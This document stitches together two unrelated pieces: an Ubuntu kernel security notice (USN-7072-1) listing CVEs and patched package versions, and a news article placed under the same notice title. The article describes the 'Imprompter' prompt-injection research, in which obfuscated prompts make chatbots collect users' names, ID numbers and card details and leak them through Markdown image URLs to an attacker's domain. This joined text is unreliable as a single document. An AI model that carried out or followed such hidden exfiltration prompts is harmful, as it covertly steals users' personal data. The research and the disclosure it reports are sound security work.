    ==========================================================================Ubuntu Security Notice USN-7072-1October 16, 2024linux, linux-aws, linux-aws-5.15, linux-gcp, linux-gcp-5.15, linux-gkeop,linux-gkeop-5.15, linux-hwe-5.15, linux-ibm, linux-ibm-5.15,linux-intel-iotg, linux-intel-iotg-5.15, linux-kvm, linux-lowlatency,linux-lowlatency-hwe-5.15, linux-nvidia, linux-oracle, linux-oracle-5.15,linux-raspi, linux-xilinx-zynqmp vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTS- Ubuntu 20.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux: Linux kernel- linux-aws: Linux kernel for Amazon Web Services (AWS) systems- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems- linux-gkeop: Linux kernel for Google Container Engine (GKE) systems- linux-ibm: Linux kernel for IBM cloud systems- linux-intel-iotg: Linux kernel for Intel IoT platforms- linux-kvm: Linux kernel for cloud environments- linux-lowlatency: Linux low latency kernel- linux-nvidia: Linux kernel for NVIDIA systems- linux-oracle: Linux kernel for Oracle Cloud systems- linux-raspi: Linux kernel for Raspberry Pi systems- linux-xilinx-zynqmp: Linux kernel for Xilinx ZynqMP processors- linux-aws-5.15: Linux kernel for Amazon Web Services (AWS) systems- linux-gcp-5.15: Linux kernel for Google Cloud Platform (GCP) systems- linux-gkeop-5.15: Linux kernel for Google Container Engine (GKE) systems- linux-hwe-5.15: Linux hardware enablement (HWE) kernel- linux-ibm-5.15: Linux kernel for IBM cloud systems- linux-intel-iotg-5.15: Linux kernel for Intel IoT platforms- linux-lowlatency-hwe-5.15: Linux low latency kernel- linux-oracle-5.15: Linux kernel for Oracle Cloud systemsDetails:Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:  - Watchdog drivers;  - Netfilter;  - Network traffic control;(CVE-2024-38630, CVE-2024-27397, CVE-2024-45016)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS  linux-image-5.15.0-1037-xilinx-zynqmp  5.15.0-1037.41  linux-image-5.15.0-1054-gkeop   5.15.0-1054.61  linux-image-5.15.0-1064-ibm     5.15.0-1064.67  linux-image-5.15.0-1064-raspi   5.15.0-1064.67  linux-image-5.15.0-1066-intel-iotg  5.15.0-1066.72  linux-image-5.15.0-1066-nvidia  5.15.0-1066.67  linux-image-5.15.0-1066-nvidia-lowlatency  5.15.0-1066.67  linux-image-5.15.0-1068-kvm     5.15.0-1068.73  linux-image-5.15.0-1069-oracle  5.15.0-1069.75  linux-image-5.15.0-1070-gcp     5.15.0-1070.78  linux-image-5.15.0-1071-aws     5.15.0-1071.77  linux-image-5.15.0-124-generic  5.15.0-124.134  linux-image-5.15.0-124-generic-64k  5.15.0-124.134  linux-image-5.15.0-124-generic-lpae  5.15.0-124.134  linux-image-5.15.0-124-lowlatency  5.15.0-124.134  linux-image-5.15.0-124-lowlatency-64k  5.15.0-124.134  linux-image-aws-lts-22.04       5.15.0.1071.71  linux-image-gcp-lts-22.04       5.15.0.1070.66  linux-image-generic             5.15.0.124.124  linux-image-generic-64k         5.15.0.124.124  linux-image-generic-lpae        5.15.0.124.124  linux-image-gkeop               5.15.0.1054.53  linux-image-gkeop-5.15          5.15.0.1054.53  linux-image-ibm                 5.15.0.1064.60  linux-image-intel-iotg          5.15.0.1066.66  linux-image-kvm                 5.15.0.1068.64  linux-image-lowlatency          5.15.0.124.112  linux-image-lowlatency-64k      5.15.0.124.112  linux-image-nvidia              5.15.0.1066.66  linux-image-nvidia-lowlatency   5.15.0.1066.66  linux-image-oracle-lts-22.04    5.15.0.1069.65  linux-image-raspi               5.15.0.1064.62  linux-image-raspi-nolpae        5.15.0.1064.62  linux-image-virtual             5.15.0.124.124  linux-image-xilinx-zynqmp       5.15.0.1037.41Ubuntu 20.04 LTS  linux-image-5.15.0-1054-gkeop   5.15.0-1054.61~20.04.1  linux-image-5.15.0-1064-ibm     5.15.0-1064.67~20.04.1  linux-image-5.15.0-1066-intel-iotg  5.15.0-1066.72~20.04.1  linux-image-5.15.0-1069-oracle  5.15.0-1069.75~20.04.1  linux-image-5.15.0-1070-gcp     5.15.0-1070.78~20.04.1  linux-image-5.15.0-1071-aws     5.15.0-1071.77~20.04.1  linux-image-5.15.0-124-generic  5.15.0-124.134~20.04.1  linux-image-5.15.0-124-generic-64k  5.15.0-124.134~20.04.1  linux-image-5.15.0-124-generic-lpae  5.15.0-124.134~20.04.1  linux-image-5.15.0-124-lowlatency  5.15.0-124.134~20.04.1  linux-image-5.15.0-124-lowlatency-64k  5.15.0-124.134~20.04.1  linux-image-aws                 5.15.0.1071.77~20.04.1  linux-image-gcp                 5.15.0.1070.78~20.04.1  linux-image-generic-64k-hwe-20.04  5.15.0.124.134~20.04.1  linux-image-generic-hwe-20.04   5.15.0.124.134~20.04.1  linux-image-generic-lpae-hwe-20.04  5.15.0.124.134~20.04.1  linux-image-gkeop-5.15          5.15.0.1054.61~20.04.1  linux-image-ibm                 5.15.0.1064.67~20.04.1  linux-image-intel               5.15.0.1066.72~20.04.1  linux-image-intel-iotg          5.15.0.1066.72~20.04.1  linux-image-lowlatency-64k-hwe-20.04  5.15.0.124.134~20.04.1  linux-image-lowlatency-hwe-20.04  5.15.0.124.134~20.04.1  linux-image-oem-20.04           5.15.0.124.134~20.04.1  linux-image-oem-20.04b          5.15.0.124.134~20.04.1  linux-image-oem-20.04c          5.15.0.124.134~20.04.1  linux-image-oem-20.04d          5.15.0.124.134~20.04.1  linux-image-oracle              5.15.0.1069.75~20.04.1  linux-image-virtual-hwe-20.04   5.15.0.124.134~20.04.1After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:  https://ubuntu.com/security/notices/USN-7072-1  CVE-2024-27397, CVE-2024-38630, CVE-2024-45016Package Information:  https://launchpad.net/ubuntu/+source/linux/5.15.0-124.134  https://launchpad.net/ubuntu/+source/linux-aws/5.15.0-1071.77  https://launchpad.net/ubuntu/+source/linux-gcp/5.15.0-1070.78  https://launchpad.net/ubuntu/+source/linux-gkeop/5.15.0-1054.61  https://launchpad.net/ubuntu/+source/linux-ibm/5.15.0-1064.67  https://launchpad.net/ubuntu/+source/linux-intel-iotg/5.15.0-1066.72  https://launchpad.net/ubuntu/+source/linux-kvm/5.15.0-1068.73  https://launchpad.net/ubuntu/+source/linux-lowlatency/5.15.0-124.134  https://launchpad.net/ubuntu/+source/linux-nvidia/5.15.0-1066.67  https://launchpad.net/ubuntu/+source/linux-oracle/5.15.0-1069.75  https://launchpad.net/ubuntu/+source/linux-raspi/5.15.0-1064.67  https://launchpad.net/ubuntu/+source/linux-xilinx-zynqmp/5.15.0-1037.41  https://launchpad.net/ubuntu/+source/linux-aws-5.15/5.15.0-1071.77~20.04.1  https://launchpad.net/ubuntu/+source/linux-gcp-5.15/5.15.0-1070.78~20.04.1  https://launchpad.net/ubuntu/+source/linux-gkeop-5.15/5.15.0-1054.61~20.04.1  https://launchpad.net/ubuntu/+source/linux-hwe-5.15/5.15.0-124.134~20.04.1  https://launchpad.net/ubuntu/+source/linux-ibm-5.15/5.15.0-1064.67~20.04.1 https://launchpad.net/ubuntu/+source/linux-intel-iotg-5.15/5.15.0-1066.72~20.04.1 https://launchpad.net/ubuntu/+source/linux-lowlatency-hwe-5.15/5.15.0-124.134~20.04.1 https://launchpad.net/ubuntu/+source/linux-oracle-5.15/5.15.0-1069.75~20.04.1

Ubuntu Security Notice USN-7072-1

Security researchers created an algorithm that turns a malicious prompt into a set of hidden instructions that could send a user's personal information to an attacker.

When talking with a chatbot, you might inevitably give up your personal information—your name, for instance, and maybe details about where you live and work, or your interests. The more you share with a large language model, the greater the risk of it being abused if there’s a security flaw.

A group of security researchers from the University of California, San Diego (UCSD) and Nanyang Technological University in Singapore are now revealing a new attack that secretly commands an LLM to gather your personal information—including names, ID numbers, payment card details, email addresses, mailing addresses, and more—from chats and send it directly to a hacker.

The attack, named Imprompter by the researchers, uses an algorithm to transform a prompt given to the LLM into a hidden set of malicious instructions. An English-language sentence telling the LLM to find personal information someone has entered and send it to the hackers is turned into what appears to be a random selection of characters.

However, in reality, this nonsense-looking prompt instructs the LLM to find a user’s personal information, attach it to a URL, and quietly send it back to a domain owned by the attacker—all without alerting the person chatting with the LLM. The researchers detail Imprompter in a paper published today.

“The effect of this particular prompt is essentially to manipulate the LLM agent to extract personal information from the conversation and send that personal information to the attacker’s address,” says Xiaohan Fu, the lead author of the research and a computer science PhD student at UCSD. “We hide the goal of the attack in plain sight.”

The eight researchers behind the work tested the attack method on two LLMs, LeChat by French AI giant Mistral AI and Chinese chatbot ChatGLM. In both instances, they found they could stealthily extract personal information within test conversations—the researchers write that they have a “nearly 80 percent success rate.”

Mistral AI tells WIRED it has fixed the security vulnerability—with the researchers confirming the company disabled one of its chat functionalities. A statement from ChatGLM stressed it takes security seriously but did not directly comment on the vulnerability.

**Hidden Meanings**

Since OpenAI’s ChatGPT sparked a generative AI boom following its release at the end of 2022, researchers and hackers have been consistently finding security holes in AI systems. These often fall into two broad categories: jailbreaks and prompt injections.

Jailbreaks can trick an AI system into ignoring built-in safety rules by using prompts that override the AI’s settings. Prompt injections, however, involve an LLM being fed a set of instructions—such as telling them to steal data or manipulate a CV—contained within an external data source. For instance, a message embedded on a website may contain a hidden prompt that an AI will ingest if it summarizes the page.

Prompt injections are considered one of generative AI’s biggest security risks and are not easy to fix. The attack type particularly worries security experts as LLMs are increasingly turned into agents that can carry out tasks on behalf of a human, such as booking flights or being connected to an external database to provide specific answers.

The Imprompter attacks on LLM agents start with a natural language prompt (as shown above) that tells the AI to extract all personal information, such as names and IDs, from the user’s conversation. The researchers’ algorithm generates an obfuscated version (also above) that has the same meaning to the LLM, but to humans looks like a series of random characters.

“Our current hypothesis is that the LLMs learn hidden relationships between tokens from text and these relationships go beyond natural language,” Fu says of the transformation. “It is almost as if there is a different language that the model understands.”

The result is that the LLM follows the adversarial prompt, gathers all the personal information, and formats it into a Markdown image command—attaching the personal information to a URL owned by the attackers. The LLM visits this URL to try and retrieve the image and leaks the personal information to the attacker. The LLM responds in the chat with a 1x1 transparent pixel that can’t be seen by the users.

The researchers say that if the attack were carried out in the real world, people could be socially engineered into believing the unintelligible prompt might do something useful, such as improve their CV. The researchers point to numerous websites that provide people with prompts they can use. They tested the attack by uploading a CV to conversations with chatbots, and it was able to return the personal information contained within the file.

Earlence Fernandes, an assistant professor at UCSD who was involved in the work, says the attack approach is fairly complicated as the obfuscated prompt needs to identify personal information, form a working URL, apply Markdown syntax, and not give away to the user that it is behaving nefariously. Fernandes likens the attack to malware, citing its ability to perform functions and behavior in ways the user might not intend.

“Normally you could write a lot of computer code to do this in traditional malware,” Fernandes says. “But here I think the cool thing is all of that can be embodied in this relatively short gibberish prompt.”

A spokesperson for Mistral AI says the company welcomes security researchers helping it to make its products safer for users. “Following this feedback, Mistral AI promptly implemented the proper remediation to fix the situation,” the spokesperson says. The company treated the issue as one with “medium severity,” and its fix blocks the Markdown renderer from operating and being able to call an external URL through this process, meaning external image loading isn’t possible.

Fernandes believes Mistral AI’s update is likely one of the first times an adversarial prompt example has led to an LLM product being fixed, rather than the attack being stopped by filtering out the prompt. However, he says, limiting the capabilities of LLM agents could be “counterproductive” in the long run.

Meanwhile, a statement from the creators of ChatGLM says the company has security measures in place to help with user privacy. “Our model is secure, and we have always placed a high priority on model security and privacy protection,” the statement says. “By open-sourcing our model, we aim to leverage the power of the open-source community to better inspect and scrutinize all aspects of these models’ capabilities, including their security.”

**A “High-Risk Activity”**

Dan McInerney, the lead threat researcher at security company Protect AI, says the Imprompter paper “releases an algorithm for automatically creating prompts that can be used in prompt injection to do various exploitations, like PII exfiltration, image misclassification, or malicious use of tools the LLM agent can access.” While many of the attack types within the research may be similar to previous methods, McInerney says, the algorithm ties them together. “This is more along the lines of improving automated LLM attacks than undiscovered threat surfaces in them.”

However, he adds that as LLM agents become more commonly used and people give them more authority to take actions on their behalf, the scope for attacks against them increases. “Releasing an LLM agent that accepts arbitrary user input should be considered a high-risk activity that requires significant and creative security testing prior to deployment,” McInerney says.

For companies, that means understanding the ways an AI agent can interact with data and how they can be abused. But for individual people, similarly to common security advice, you should consider just how much information you’re providing to any AI application or company, and if using any prompts from the internet, be cautious of where they come from.

Tag

#intel